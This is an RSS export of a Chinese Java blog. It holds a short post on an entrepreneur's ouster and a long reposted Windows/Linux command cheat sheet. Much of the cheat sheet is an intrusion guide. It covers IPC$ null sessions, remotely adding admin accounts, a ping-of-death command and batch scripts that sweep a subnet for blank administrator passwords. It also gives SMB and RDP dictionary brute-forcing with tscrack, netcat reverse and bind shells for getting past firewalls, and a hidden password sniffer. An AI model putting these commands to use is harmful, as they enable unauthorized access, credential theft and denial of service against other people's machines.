﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-路是爬出来的</title><link>http://www.blogjava.net/wuhua/</link><description /><language>zh-cn</language><lastBuildDate>Mon, 13 Apr 2026 10:46:55 GMT</lastBuildDate><pubDate>Mon, 13 Apr 2026 10:46:55 GMT</pubDate><ttl>60</ttl><item><title>高燃被T</title><link>http://www.blogjava.net/wuhua/archive/2006/12/30/90939.html</link><dc:creator>路是爬出来的</dc:creator><author>路是爬出来的</author><pubDate>Sat, 30 Dec 2006 01:24:00 GMT</pubDate><guid>http://www.blogjava.net/wuhua/archive/2006/12/30/90939.html</guid><wfw:comment>http://www.blogjava.net/wuhua/comments/90939.html</wfw:comment><comments>http://www.blogjava.net/wuhua/archive/2006/12/30/90939.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/wuhua/comments/commentRss/90939.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/wuhua/services/trackbacks/90939.html</trackback:ping><description><![CDATA[<table width="100%"><tr><td><p>记得第一次知道高燃这个人是在《鲁豫有约》的节目上。
<br />听他讲诉自己的故事，觉得他很了不起，有时候我是个很佩服学习好的人，特别是那张非死读书的人。一个专业生能考上清华，本身就是件轰动的事情。后来听他是如何成功的拉倒风险投资已经创建Mysee。
<br />自那以后，我就一直有关注他的blog，看他的博文，听他的故事。
<br />他本是我们的一个榜样，一个值得学习的榜样。
<br />可最近却辞职了。谁都知道，他怎么可能辞职呢？肯定是被T的。
<br />由此。艾。最后控制的还是掌握资本的人。而非掌握技术或者。。。。。。</p></td></tr></table><img src ="http://www.blogjava.net/wuhua/aggbug/90939.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/wuhua/" target="_blank">路是爬出来的</a> 2006-12-30 09:24 <a href="http://www.blogjava.net/wuhua/archive/2006/12/30/90939.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DOS命令大全(经典收藏)</title><link>http://www.blogjava.net/wuhua/archive/2006/12/30/90938.html</link><dc:creator>路是爬出来的</dc:creator><author>路是爬出来的</author><pubDate>Sat, 30 Dec 2006 01:24:00 GMT</pubDate><guid>http://www.blogjava.net/wuhua/archive/2006/12/30/90938.html</guid><wfw:comment>http://www.blogjava.net/wuhua/comments/90938.html</wfw:comment><comments>http://www.blogjava.net/wuhua/archive/2006/12/30/90938.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/wuhua/comments/commentRss/90938.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/wuhua/services/trackbacks/90938.html</trackback:ping><description><![CDATA[<table width="100%"><tr><td><p>见到网络上,觉得值得学习,特此收藏到这里,因为我几乎天天来这个网站</p>

<p>net use \\ip\ipc$ " " /user:" " 建立IPC空链接 
<br />net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 
<br />net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: 
<br />net use h: \\ip\c$ 登陆后映射对方C：到本地为H: 
<br />net use \\ip\ipc$ /del 删除IPC链接 
<br />net use h: /del 删除映射对方到本地的为H:的映射 
<br />net user 用户名　密码　/add 建立用户 
<br />net user guest /active:yes 激活guest用户 
<br />net user 查看有哪些用户 
<br />net user 帐户名 查看帐户的属性 
<br />net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 
<br />net start 查看开启了哪些服务 
<br />net start 服务名　 开启服务；(如:net start telnet， net start schedule) 
<br />net stop 服务名 停止某服务 
<br />net time \\目标ip 查看对方时间 
<br />net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息 
<br />net view 查看本地局域网内开启了哪些共享 
<br />net view \\ip 查看对方局域网内开启了哪些共享 
<br />net config 显示系统网络设置 
<br />net logoff 断开连接的共享 
<br />net pause 服务名 暂停某服务 
<br />net send ip "文本信息" 向对方发信息 
<br />net ver 局域网内正在使用的网络连接类型和信息 
<br />net share 查看本地开启的共享 
<br />net share ipc$ 开启ipc$共享 
<br />net share ipc$ /del 删除ipc$共享 
<br />net share c$ /del 删除C：共享 
<br />net user guest 12345 用guest用户登陆后用将密码改为12345 
<br />net password 密码 更改系统登陆密码 
<br />netstat -a 查看开启了哪些端口,常用netstat -an 
<br />netstat -n 查看端口的网络连接情况，常用netstat -an 
<br />netstat -v 查看正在进行的工作 
<br />netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） 
<br />netstat -s 查看正在使用的所有协议使用情况 
<br />nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 
<br />tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数："-w数字"用于设置超时间隔。 
<br />ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数："-l[空格]数据包大小"；"-n发送数据次数"；"-t"指一直ping。 
<br />ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) 
<br />ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数"/all"显示全部配置信息 
<br />tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) 
<br />kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) 
<br />del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件，"DEL/A-S *.*"表示删除当前目录下除系统文件以外的所有文件</p>

<p>#2 二：</p>

<p>del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） 
<br />move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 
<br />fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令 
<br />at id号 开启已注册的某个计划任务 
<br />at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 
<br />at id号 /delete 停止某个已注册的计划任务 
<br />at 查看所有的计划任务 
<br />at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 
<br />finger username @host 查看最近有哪些用户登陆 
<br />telnet ip 端口 远和登陆服务器,默认端口为23 
<br />open ip 连接到IP（属telnet登陆后的命令） 
<br />telnet 在本机上直接键入telnet 将进入本机的telnet 
<br />copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 
<br />copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下 
<br />cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 
<br />copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C： 
<br />xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 
<br />tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将"IP"的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 
<br />tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 
<br />ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) 
<br />route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface 
<br />arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 
<br />start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 
<br />mem 查看cpu使用情况 
<br />attrib 文件名(目录名) 查看某文件（目录）的属性 
<br />attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 
<br />dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 
<br />date /t 、 time /t 使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和时间，而不必输入新日期和时间 
<br />set 指定环境变量名称=要指派给变量的字符 设置环境变量 
<br />set 显示当前所有的环境变量 
<br />set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 
<br />pause 暂停批处理程序，并显示出：请按任意键继续.... 
<br />if 在批处理程序中执行条件处理（更多说明见if命令及变量） 
<br />goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如："：start"标签） 
<br />call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） 
<br />for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） 
<br />echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 
<br />echo 信息 在屏幕上显示出信息 
<br />echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 
<br />findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 
<br />find 文件名 查找某文件 
<br />title 标题名字 更改CMD窗口标题名字 
<br />color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 
<br />prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )</p>

<p>#3 三：</p>

<p>ver 在DOS窗口下显示版本信息 
<br />winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） 
<br />format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS 
<br />md　目录名 创建目录 
<br />replace 源文件　要替换文件的目录 替换文件 
<br />ren 原文件名　新文件名 重命名文件名 
<br />tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 
<br />type 文件名 显示文本文件的内容 
<br />more 文件名 逐屏显示输出文件 
<br />doskey 要锁定的命令＝字符
<br />doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= 
<br />taskmgr 调出任务管理器 
<br />chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 
<br />tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 
<br />exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe 
<br />path 路径\可执行文件的文件名 为可执行文件设置一个路径。 
<br />cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? 
<br />regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； 
<br />regedit /e 注册表文件名 导出注册表 
<br />cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 
<br />cacls 文件名 查看文件的访问用户权限列表 
<br />REM 文本内容 在批处理文件中添加注解 
<br />netsh 查看或更改本地网络配置情况</p>

<p>#4 四：</p>

<p>IIS服务命令： 
<br />iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） 
<br />iisreset /start或stop 启动（停止）所有Internet服务 
<br />iisreset /restart 停止然后重新启动所有Internet服务 
<br />iisreset /status 显示所有Internet服务状态 
<br />iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 
<br />iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 
<br />iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 
<br />iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 
<br />FTP 命令： (后面有详细说明内容) 
<br />ftp的命令行格式为:
<br />ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。
<br />－d 使用调试方式。 
<br />－n 限制ftp的自动登录,即不使用.netrc文件。
<br />－g 取消全局文件名。 
<br />help [命令] 或 ？[命令] 查看命令说明 
<br />bye 或 quit 终止主机FTP进程,并退出FTP管理方式. 
<br />pwd 列出当前远端主机目录 
<br />put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 
<br />get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 
<br />mget [remote-files] 从远端主机接收一批文件至本地主机 
<br />mput local-files 将本地主机中一批文件传送至远端主机 
<br />dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 
<br />ascii 设定以ASCII方式传送文件(缺省值) 
<br />bin 或 image 设定以二进制方式传送文件 
<br />bell 每完成一次文件传送,报警提示 
<br />cdup 返回上一级目录 
<br />close 中断与远程服务器的ftp会话(与open对应) 
<br />open host[port] 建立指定ftp服务器连接,可指定连接端口 
<br />delete 删除远端主机中的文件 
<br />mdelete [remote-files] 删除一批文件 
<br />mkdir directory-name 在远端主机中建立目录 
<br />rename [from] [to] 改变远端主机中的文件名 
<br />rmdir directory-name 删除远端主机中的目录 
<br />status 显示当前FTP的状态 
<br />system 显示远端主机系统类型 
<br />user user-name [password] [account] 重新以别的用户名登录远端主机 
<br />open host [port] 重新建立一个新的连接 
<br />prompt 交互提示模式 
<br />macdef 定义宏命令 
<br />lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 
<br />chmod 改变远端主机的文件权限 
<br />case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 
<br />cd remote－dir 进入远程主机目录 
<br />cdup 进入远程主机目录的父目录 
<br />! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip</p>

<p>#5 五：</p>

<p>MYSQL 命令： 
<br />mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。
<br />（例：mysql -h110.110.110.110 -Uroot -P123456 
<br />注:u与root可以不用加空格，其它也一样） 
<br />exit 退出MYSQL 
<br />mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 
<br />grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） 
<br />show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 
<br />use mysql；
<br />show tables; 显示库中的数据表 
<br />describe 表名; 显示数据表的结构 
<br />create database 库名; 建库 
<br />use 库名；
<br />create table 表名 (字段设定列表)； 建表 
<br />drop database 库名; 
<br />drop table 表名； 删库和删表 
<br />delete from 表名; 将表中记录清空 
<br />select * from 表名; 显示表中的记录 
<br />mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 
<br />win2003系统下新增命令（实用部份）： 
<br />shutdown /参数 关闭或重启本地或远程主机。
<br />参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。
<br />例：shutdown /r /t 0 立即重启本地主机（无延时） 
<br />taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
<br />参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 
<br />tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
<br />参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。</p>

<p>#6 六：</p>

<p>Linux系统下基本命令： 要区分大小写 
<br />uname 显示版本信息（同win2K的 ver） 
<br />dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） 
<br />pwd 查询当前所在的目录位置 
<br />cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 
<br />cat 文件名 查看文件内容 
<br />cat >abc.txt 往abc.txt文件中写上内容。 
<br />more 文件名 以一页一页的方式显示一个文本文件。 
<br />cp 复制文件 
<br />mv 移动文件 
<br />rm 文件名 删除文件，rm -a 目录名删除目录及子目录 
<br />mkdir 目录名 建立目录 
<br />rmdir 删除子目录，目录内没有文档。 
<br />chmod 设定档案或目录的存取权限 
<br />grep 在档案中查找字符串 
<br />diff 档案文件比较 
<br />find 档案搜寻 
<br />date 现在的日期、时间 
<br />who 查询目前和你使用同一台机器的人以及Login时间地点 
<br />w 查询目前上机者的详细资料 
<br />whoami 查看自己的帐号名称 
<br />groups 查看某人的Group 
<br />passwd 更改密码 
<br />history 查看自己下过的命令 
<br />ps 显示进程状态 
<br />kill 停止某进程 
<br />gcc 黑客通常用它来编译C语言写的文件 
<br />su 权限转换为指定使用者 
<br />telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 
<br />ftp ftp连接上某服务器（同win2K） </p>

<p>附：批处理命令与变量</p>

<p>1：for命令及变量 基本格式： 
<br />FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。
<br />批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3</p>

<p>(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ "(1 1 254)"第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；"(1 -1 254)"说明：即从254到1 }</p>

<p>command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开
<br />command_parameters：为特定命令指定参数或命令行开关</p>

<p>IN (set)：指在(set)中取值；DO command ：指执行command</p>

<p>参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 
<br />用法举例： 
<br />@echo off 
<br />echo 用法格式：test.bat *.*.* > test.txt </p>

<p>for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt 
<br />存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。</p>

<p>/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 
<br />@echo off 
<br />echo 用法格式：ok.bat ip 
<br />FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 
<br />存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。</p>

<p>#7 七：</p>

<p>2：if命令及变量 基本格式： 
<br />IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为"真"。
<br />例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。
<br />0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 
<br />IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。
<br />例："if "%2%"=="4" goto start"指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） 
<br />IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。
<br />例："if not nc.exe goto end"指：如果没有发现nc.exe文件就跳到":end"标签处。 
<br />IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&lt; >括起来，因为del命令要单独一行时才能执行，用上&lt; >后就等于是单独一行了；例如："if exist test.txt. else echo test.txt.missing "，注意命令中的"." </p>

<p>（二）系统外部命令(均需下载相关工具)：</p>

<p>1、瑞士军刀：nc.exe</p>

<p>参数说明： 
<br />-h 查看帮助信息 
<br />-d 后台模式 
<br />-e prog程序重定向，一但连接就执行［危险］ 
<br />-i secs延时的间隔 
<br />-l 监听模式，用于入站连接 
<br />-L 监听模式，连接天闭后仍然继续监听，直到CTR+C 
<br />-n IP地址，不能用域名 
<br />-o film记录16进制的传输 
<br />-p[空格]端口 本地端口号 
<br />-r 随机本地及远程端口 
<br />-t 使用Telnet交互方式 
<br />-u UDP模式 
<br />-v 详细输出，用-vv将更详细 
<br />-w数字 timeout延时间隔 
<br />-z 将输入，输出关掉（用于扫锚时） 
<br />基本用法： 
<br />nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 
<br />nc -l -p 80 开启本机的TCP 80端口并监听 
<br />nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 
<br />nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 
<br />nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 
<br />高级用法： 
<br />nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 
<br />nc -L -p 80 > c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt 
<br />nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 
<br />type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 
<br />本机上用：nc -l -p 本机端口 
<br />在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K
<br />nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 
<br />本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 
<br />在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机 
<br />备 注： 
<br />| 管道命令 
<br />&lt; 或 > 重定向命令。"&lt;"，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 
<br />＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt >> d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 
<br />>与>>的区别 　">"指：覆盖；">>"指：保存到(添加到）。
<br />如：@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。</p>

<p>#8 八：</p>

<p>2、扫锚工具：xscan.exe</p>

<p>基本格式 
<br />xscan -host &lt;起始IP>[-&lt;终止IP>] &lt;检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 
<br />xscan -file &lt;主机列表文件名> &lt;检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 
<br />检测项目 
<br />-active 检测主机是否存活 
<br />-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） 
<br />-port 检测常用服务的端口状态 
<br />-ftp 检测FTP弱口令 
<br />-pub 检测FTP服务匿名用户写权限 
<br />-pop3 检测POP3-Server弱口令 
<br />-smtp 检测SMTP-Server漏洞 
<br />-sql 检测SQL-Server弱口令 
<br />-smb 检测NT-Server弱口令 
<br />-iis 检测IIS编码/解码漏洞 
<br />-cgi 检测CGI漏洞 
<br />-nasl 加载Nessus攻击脚本 
<br />-all 检测以上所有项目 
<br />其它选项 
<br />-i 适配器编号 设置网络适配器, &lt;适配器编号>可通过"-l"参数获取 
<br />-l 显示所有网络适配器 
<br />-v 显示详细扫描进度 
<br />-p 跳过没有响应的主机 
<br />-o 跳过没有检测到开放端口的主机 
<br />　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 
<br />-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) 
<br />用法示例 
<br />xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 
<br />xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 
<br />xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测"hostlist.txt"文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机</p>

<p>#9 九：</p>

<p>3、命令行方式嗅探器: xsniff.exe
<br />可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
<br />参数说明 
<br />-tcp 输出TCP数据报 
<br />-udp 输出UDP数据报 
<br />-icmp 输出ICMP数据报 
<br />-pass 过滤密码信息 
<br />-hide 后台运行 
<br />-host 解析主机名 
<br />-addr IP地址 过滤IP地址 
<br />-port 端口 过滤端口 
<br />-log 文件名 将输出保存到文件 
<br />-asc 以ASCII形式输出 
<br />-hex 以16进制形式输出 
<br />用法示例 
<br />xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 
<br />xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 </p>

<p>4、终端服务密码破解: tscrack.exe</p>

<p>参数说明 
<br />-h 显示使用帮助 
<br />-v 显示版本信息 
<br />-s 在屏幕上打出解密能力 
<br />-b 密码错误时发出的声音 
<br />-t 同是发出多个连接（多线程） 
<br />-N Prevent System Log entries on targeted server 
<br />-U 卸载移除tscrack组件 
<br />-f 使用－f后面的密码 
<br />-F 间隔时间（频率） 
<br />-l 使用－l后面的用户名 
<br />-w 使用－w后面的密码字典 
<br />-p 使用－p后面的密码 
<br />-D 登录主页面 
<br />用法示例 
<br />tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 
<br />tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 
<br />@if not exist ipcscan.txt goto noscan 
<br />@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i 
<br />nscan 
<br />@echo 3389.txt no find or scan faild 
<br />(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) 
<br />3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat 
<br />@if not exist tscrack.exe goto noscan 
<br />@tscrack %1 -l administrator -w pass.dic >>rouji.txt 
<br />:noscan 
<br />@echo tscrack.exe no find or scan faild 
<br />(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) 
<br />hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。 </p>

<p>5、其它：</p>

<p>Shutdown.exe 
<br />Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） 
<br />fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） 
<br />fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时，他扫到的结果会完全是www.sina.com.cn的主机信息 
<br />Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 
<br />OpenTelnet.exe (远程开启telnet工具) 
